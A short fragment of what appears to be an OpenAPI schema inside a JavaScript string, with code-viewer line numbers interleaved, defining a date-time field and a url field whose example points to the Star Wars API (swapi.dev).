-
type: string
|
|
520
|
-
format: date-time
|
|
521
|
-
example: 2014-12-20T21:17:56.891000Z
|
|
522
|
-
url:
|
|
523
|
-
type: string
|
|
524
|
-
example: https://swapi.dev/api/people/1/`;
|